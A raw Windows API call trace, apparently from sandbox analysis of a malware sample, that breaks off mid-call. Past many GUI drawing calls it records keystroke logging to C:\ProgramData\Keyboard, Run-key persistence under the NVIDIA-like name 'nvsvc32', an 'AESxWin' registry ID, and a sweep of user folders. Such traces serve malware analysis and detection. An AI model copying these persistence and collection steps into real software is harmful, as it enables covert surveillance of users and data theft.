[0064.210] GetSystemMetrics (nIndex=8) returned 3 [0064.210] AdjustWindowRectEx (in: lpRect=0x3aeaf4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3aeaf4) returned 1 [0064.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.210] AdjustWindowRectEx (in: lpRect=0x3ae944, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3ae944) returned 1 [0064.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.210] AdjustWindowRectEx (in: lpRect=0x3ae8e4, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3ae8e4) returned 1 [0064.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.210] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.210] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.210] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.210] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3aeb04, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aeb04) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3ae954, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae954) returned 1 [0064.211] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.211] AdjustWindowRectEx (in: lpRect=0x3ae910, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ae910) returned 1 [0064.218] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae9bc) returned 0x0 [0064.220] IsAppThemed () returned 0x1 [0064.220] GetThemeAppProperties () returned 0x3 [0064.220] OpenThemeData () returned 0x20002 [0064.221] IsAppThemed () returned 0x1 [0064.221] GetThemeAppProperties () returned 0x3 [0064.221] GetThemeAppProperties () returned 0x3 [0064.223] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae980) returned 0x0 [0064.226] IsAppThemed () returned 0x1 [0064.227] GetThemeAppProperties () returned 0x3 [0064.227] GetThemeAppProperties () returned 0x3 [0064.227] IsAppThemed () returned 0x1 [0064.227] GetThemeAppProperties () returned 0x3 [0064.227] GetThemeAppProperties () returned 0x3 [0064.227] IsThemePartDefined () returned 0x1 [0064.232] GdipCreateRegion (region=0x3ae890) returned 0x0 [0064.232] GdipGetClip (graphics=0x4c28160, region=0x4b5e848) returned 0x0 [0064.232] GdipCreateMatrix (matrix=0x3ae890) returned 0x0 [0064.233] GdipGetWorldTransform (graphics=0x4c28160, matrix=0x4bf37e0) returned 0x0 [0064.233] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8a8) returned 0x0 [0064.233] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x1c1fd8) returned 0x0 [0064.234] LocalFree (hMem=0x1c1fd8) returned 0x0 [0064.234] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0064.234] GdipIsInfiniteRegion (region=0x4b5e848, graphics=0x4c28160, result=0x3ae8d4) returned 0x0 [0064.234] GdipDeleteRegion (region=0x4b5e848) returned 0x0 [0064.234] GdipGetDC (graphics=0x4c28160, hdc=0x3ae8dc) returned 0x0 [0064.234] GetCurrentObject (hdc=0x15010934, type=0x1) returned 0x1b00017 [0064.234] GetCurrentObject (hdc=0x15010934, type=0x2) returned 0x1900010 [0064.234] GetCurrentObject (hdc=0x15010934, type=0x7) returned 0x185000f [0064.234] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.234] SaveDC (hdc=0x15010934) returned 2 [0064.235] OffsetViewportOrgEx (in: hdc=0x15010934, x=0, y=0, lppt=0x25e94a4 | out: lppt=0x25e94a4) returned 1 [0064.235] IsAppThemed () returned 0x1 [0064.235] GetThemeAppProperties () returned 0x3 [0064.235] GetThemeAppProperties () returned 0x3 [0064.249] GetThemePartSize () returned 0x0 [0064.249] RestoreDC (hdc=0x15010934, nSavedDC=-1) returned 1 [0064.249] GdipReleaseDC (graphics=0x4c28160, hdc=0x15010934) returned 0x0 [0064.249] GdipDeleteGraphics (graphics=0x4c28160) returned 0x0 [0064.250] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.250] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae708 | out: pv=0x3ae708) returned 92 [0064.250] DrawTextExW (in: hdc=0x15010934, lpchText="Uruchom ze startem systemu", cchText=26, lprc=0x3ae844, format=0x2404, lpdtp=0x25e9598 | out: lpchText="Uruchom ze startem systemu", lprc=0x3ae844) returned 13 [0064.252] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0064.270] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae9bc) returned 0x0 [0064.270] IsAppThemed () returned 0x1 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] IsAppThemed () returned 0x1 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3ae980) returned 0x0 [0064.270] IsAppThemed () returned 0x1 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] IsAppThemed () returned 0x1 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] GetThemeAppProperties () returned 0x3 [0064.270] IsThemePartDefined () returned 0x1 [0064.270] GdipCreateRegion (region=0x3ae890) returned 0x0 [0064.270] GdipGetClip (graphics=0x4c28160, region=0x4b5e848) returned 0x0 [0064.270] GdipCreateMatrix (matrix=0x3ae890) returned 0x0 [0064.270] GdipGetWorldTransform (graphics=0x4c28160, matrix=0x4be2be0) returned 0x0 [0064.270] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8a8) returned 0x0 [0064.270] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1c1fd8 [0064.270] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x1c1fd8) returned 0x0 [0064.270] LocalFree (hMem=0x1c1fd8) returned 0x0 [0064.270] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0064.271] GdipIsInfiniteRegion (region=0x4b5e848, graphics=0x4c28160, result=0x3ae8d4) returned 0x0 [0064.271] GdipDeleteRegion (region=0x4b5e848) returned 0x0 [0064.271] GdipGetDC (graphics=0x4c28160, hdc=0x3ae8dc) returned 0x0 [0064.271] GetCurrentObject (hdc=0x15010934, type=0x1) returned 0x1b00017 [0064.271] GetCurrentObject (hdc=0x15010934, type=0x2) returned 0x1900010 [0064.271] GetCurrentObject (hdc=0x15010934, type=0x7) returned 0x185000f [0064.271] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.271] SaveDC (hdc=0x15010934) returned 2 [0064.271] OffsetViewportOrgEx (in: hdc=0x15010934, x=0, y=0, lppt=0x25e9c8c | out: lppt=0x25e9c8c) returned 1 [0064.271] IsAppThemed () returned 0x1 [0064.271] GetThemeAppProperties () returned 0x3 [0064.271] GetThemeAppProperties () returned 0x3 [0064.271] GetThemePartSize () returned 0x0 [0064.271] RestoreDC (hdc=0x15010934, nSavedDC=-1) returned 1 [0064.271] GdipReleaseDC (graphics=0x4c28160, hdc=0x15010934) returned 0x0 [0064.271] GdipDeleteGraphics (graphics=0x4c28160) returned 0x0 [0064.271] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0064.271] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae708 | out: pv=0x3ae708) returned 92 [0064.271] DrawTextExW (in: hdc=0x15010934, lpchText="checkBox1", cchText=9, lprc=0x3ae844, format=0x2404, lpdtp=0x25e9d68 | out: lpchText="checkBox1", lprc=0x3ae844) returned 13 [0064.271] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0064.272] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.272] AdjustWindowRectEx (in: lpRect=0x3aea88, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aea88) returned 1 [0064.272] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6bc90000 [0064.272] AdjustWindowRectEx (in: lpRect=0x3aea88, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3aea88) returned 1 [0064.274] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard", nBufferLength=0x105, lpBuffer=0x3aeb64, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard", lpFilePart=0x0) returned 0x17 [0064.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aefa8) returned 1 [0064.275] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Keyboard" (normalized: "c:\\programdata\\keyboard"), fInfoLevelId=0x0, lpFileInformation=0x3af024 | out: lpFileInformation=0x3af024*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0064.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aefa4) returned 1 [0064.275] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard", nBufferLength=0x105, lpBuffer=0x3aeb64, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard", lpFilePart=0x0) returned 0x17 [0064.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aef3c) returned 1 [0064.275] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Keyboard" (normalized: "c:\\programdata\\keyboard"), fInfoLevelId=0x0, lpFileInformation=0x3aefb8 | out: lpFileInformation=0x3aefb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0064.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aef38) returned 1 [0064.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aef3c) returned 1 [0064.276] GetFileAttributesExW (in: lpFileName="C:\\ProgramData" (normalized: "c:\\programdata"), fInfoLevelId=0x0, lpFileInformation=0x3aefb8 | out: lpFileInformation=0x3aefb8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcf120350, ftLastAccessTime.dwHighDateTime=0x1d2ec0a, ftLastWriteTime.dwLowDateTime=0xcf120350, ftLastWriteTime.dwHighDateTime=0x1d2ec0a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0064.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aef38) returned 1 [0064.276] CreateDirectoryW (lpPathName="C:\\ProgramData\\Keyboard" (normalized: "c:\\programdata\\keyboard"), lpSecurityAttributes=0x0) returned 1 [0064.278] GetTimeZoneInformation (in: lpTimeZoneInformation=0x3aeea0 | out: lpTimeZoneInformation=0x3aeea0) returned 0x2 [0064.408] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log", nBufferLength=0x105, lpBuffer=0x3ae990, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard\\17102017_012722.log", lpFilePart=0x0) returned 0x2b [0064.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aee6c) returned 1 [0064.408] CreateFileW (lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log" (normalized: "c:\\programdata\\keyboard\\17102017_012722.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x22c [0064.409] GetFileType (hFile=0x22c) returned 0x1 [0064.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aee68) returned 1 [0064.409] GetFileType (hFile=0x22c) returned 0x1 [0064.409] SetFilePointer (in: hFile=0x22c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3aee40*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x3aee40*=0) returned 0x0 [0064.409] WriteFile (in: hFile=0x22c, lpBuffer=0x25efbc0*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0x3aef18, lpOverlapped=0x0 | out: lpBuffer=0x25efbc0*, lpNumberOfBytesWritten=0x3aef18*=0x25, lpOverlapped=0x0) returned 1 [0064.410] CloseHandle (hObject=0x22c) returned 1 [0064.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x3aeae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0064.456] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x3aef98 | out: phkResult=0x3aef98*=0x22c) returned 0x0 [0064.460] RegQueryValueExW (in: hKey=0x22c, lpValueName="nvsvc32", lpReserved=0x0, lpType=0x3aef94, lpData=0x0, lpcbData=0x3aef90*=0x0 | out: lpType=0x3aef94*=0x0, lpData=0x0, lpcbData=0x3aef90*=0x0) returned 0x2 [0064.460] RegSetValueExW (in: hKey=0x22c, lpValueName="nvsvc32", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", cbData=0x56 | out: lpData="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe") returned 0x0 [0064.463] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x3aeff4 | out: phkResult=0x3aeff4*=0x234) returned 0x0 [0064.463] RegQueryValueExW (in: hKey=0x234, lpValueName="nvsvc32", lpReserved=0x0, lpType=0x3af010, lpData=0x0, lpcbData=0x3af00c*=0x0 | out: lpType=0x3af010*=0x1, lpData=0x0, lpcbData=0x3af00c*=0x56) returned 0x0 [0064.463] RegQueryValueExW (in: hKey=0x234, lpValueName="nvsvc32", lpReserved=0x0, lpType=0x3af010, lpData=0x25f3050, lpcbData=0x3af00c*=0x56 | out: lpType=0x3af010*=0x1, lpData="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpcbData=0x3af00c*=0x56) returned 0x0 [0064.463] UpdateWindow (hWnd=0x0) returned 0 [0064.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x3aea94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0064.478] CoTaskMemAlloc (cb=0x20c) returned 0x1e9de0 [0064.480] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1e9de0 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x0 [0064.482] CoTaskMemFree (pv=0x1e9de0) [0064.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3aea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0064.482] CoTaskMemAlloc (cb=0x20c) returned 0x1e9de0 [0064.482] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1e9de0 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0 [0064.483] CoTaskMemFree (pv=0x1e9de0) [0064.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3aea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0064.483] CoTaskMemAlloc (cb=0x20c) returned 0x1e9de0 [0064.483] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x1e9de0 | out: pszPath="C:\\ProgramData") returned 0x0 [0064.487] CoTaskMemFree (pv=0x1e9de0) [0064.487] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x3aea80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0064.570] GetLogicalDrives () returned 0x4 [0064.578] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x3ae9ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0064.638] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.639] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.651] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x3aee54 | out: phkResult=0x3aee54*=0x0) returned 0x2 [0064.651] CoCreateGuid (in: pguid=0x3aef04 | out: pguid=0x3aef04*(Data1=0xb75c6dd, Data2=0xd172, Data3=0x492e, Data4=([0]=0xb7, [1]=0xbe, [2]=0x2c, [3]=0x5, [4]=0xde, [5]=0x30, [6]=0xe8, [7]=0x8))) returned 0x0 [0064.656] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x2001f, phkResult=0x3aee08 | out: phkResult=0x3aee08*=0x0) returned 0x2 [0064.656] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x3aee04, lpdwDisposition=0x3aee88 | out: phkResult=0x3aee04*=0x258, lpdwDisposition=0x3aee88*=0x1) returned 0x0 [0064.656] RegQueryValueExW (in: hKey=0x258, lpValueName="ComputerId", lpReserved=0x0, lpType=0x3aee58, lpData=0x0, lpcbData=0x3aee54*=0x0 | out: lpType=0x3aee58*=0x0, lpData=0x0, lpcbData=0x3aee54*=0x0) returned 0x2 [0064.657] RegSetValueExW (in: hKey=0x258, lpValueName="ComputerId", Reserved=0x0, dwType=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", cbData=0x4a | out: lpData="0b75c6dd-d172-492e-b7be-2c05de30e808") returned 0x0 [0064.657] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.657] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\kFT6uTQW\\Documents") returned 0x0 [0064.658] CoTaskMemFree (pv=0x1e98e0) [0064.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents", lpFilePart=0x0) returned 0x1b [0064.658] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.658] SHGetFolderPathW (in: hwnd=0x0, csidl=8, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 0x0 [0064.659] CoTaskMemFree (pv=0x1e98e0) [0064.659] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x3a [0064.659] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.659] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\kFT6uTQW\\Pictures") returned 0x0 [0064.659] CoTaskMemFree (pv=0x1e98e0) [0064.659] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures", lpFilePart=0x0) returned 0x1a [0064.660] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.660] SHGetFolderPathW (in: hwnd=0x0, csidl=13, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\kFT6uTQW\\Music") returned 0x0 [0064.660] CoTaskMemFree (pv=0x1e98e0) [0064.660] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music", lpFilePart=0x0) returned 0x17 [0064.660] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.660] SHGetFolderPathW (in: hwnd=0x0, csidl=14, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\kFT6uTQW\\Videos") returned 0x0 [0064.661] CoTaskMemFree (pv=0x1e98e0) [0064.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos", lpFilePart=0x0) returned 0x18 [0064.661] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.661] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\kFT6uTQW\\Desktop") returned 0x0 [0064.662] CoTaskMemFree (pv=0x1e98e0) [0064.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0064.662] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.662] SHGetFolderPathW (in: hwnd=0x0, csidl=6, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\kFT6uTQW\\Favorites") returned 0x0 [0064.663] CoTaskMemFree (pv=0x1e98e0) [0064.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites", lpFilePart=0x0) returned 0x1b [0064.663] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.663] SHGetFolderPathW (in: hwnd=0x0, csidl=46, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\Public\\Documents") returned 0x0 [0064.664] CoTaskMemFree (pv=0x1e98e0) [0064.664] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0064.664] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.664] SHGetFolderPathW (in: hwnd=0x0, csidl=54, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\Public\\Pictures") returned 0x0 [0064.665] CoTaskMemFree (pv=0x1e98e0) [0064.665] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0064.665] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.665] SHGetFolderPathW (in: hwnd=0x0, csidl=53, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\Public\\Music") returned 0x0 [0064.666] CoTaskMemFree (pv=0x1e98e0) [0064.666] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0064.666] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.666] SHGetFolderPathW (in: hwnd=0x0, csidl=55, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\Public\\Videos") returned 0x0 [0064.666] CoTaskMemFree (pv=0x1e98e0) [0064.666] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0064.666] CoTaskMemAlloc (cb=0x20c) returned 0x1e98e0 [0064.666] SHGetFolderPathW (in: hwnd=0x0, csidl=25, hToken=0x0, dwFlags=0x0, pszPath=0x1e98e0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 0x0 [0064.667] CoTaskMemFree (pv=0x1e98e0) [0064.667] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0064.667] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x3aea7c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0064.746] EtwEventRegister () returned 0x0 [0064.825] GetCurrentActCtx (in: lphActCtx=0x3af0e8 | out: lphActCtx=0x3af0e8*=0x0) returned 1 [0064.825] ActivateActCtx (in: hActCtx=0x1d16a4, lpCookie=0x3af0f8 | out: hActCtx=0x1d16a4, lpCookie=0x3af0f8) returned 1 [0064.825] GetCurrentActCtx (in: lphActCtx=0x3aef0c | out: lphActCtx=0x3aef0c*=0x1d16a4) returned 1 [0064.827] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.827] AdjustWindowRectEx (in: lpRect=0x3aee68, dwStyle=0x2ce0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3aee68) returned 1 [0064.827] GetCursorPos (in: lpPoint=0x25fb908 | out: lpPoint=0x25fb908*(x=473, y=376)) returned 1 [0064.827] MonitorFromPoint (pt=0x1d9, dwFlags=0x178) returned 0x10001 [0064.827] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3aed54 | out: lpmi=0x3aed54) returned 1 [0064.827] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, 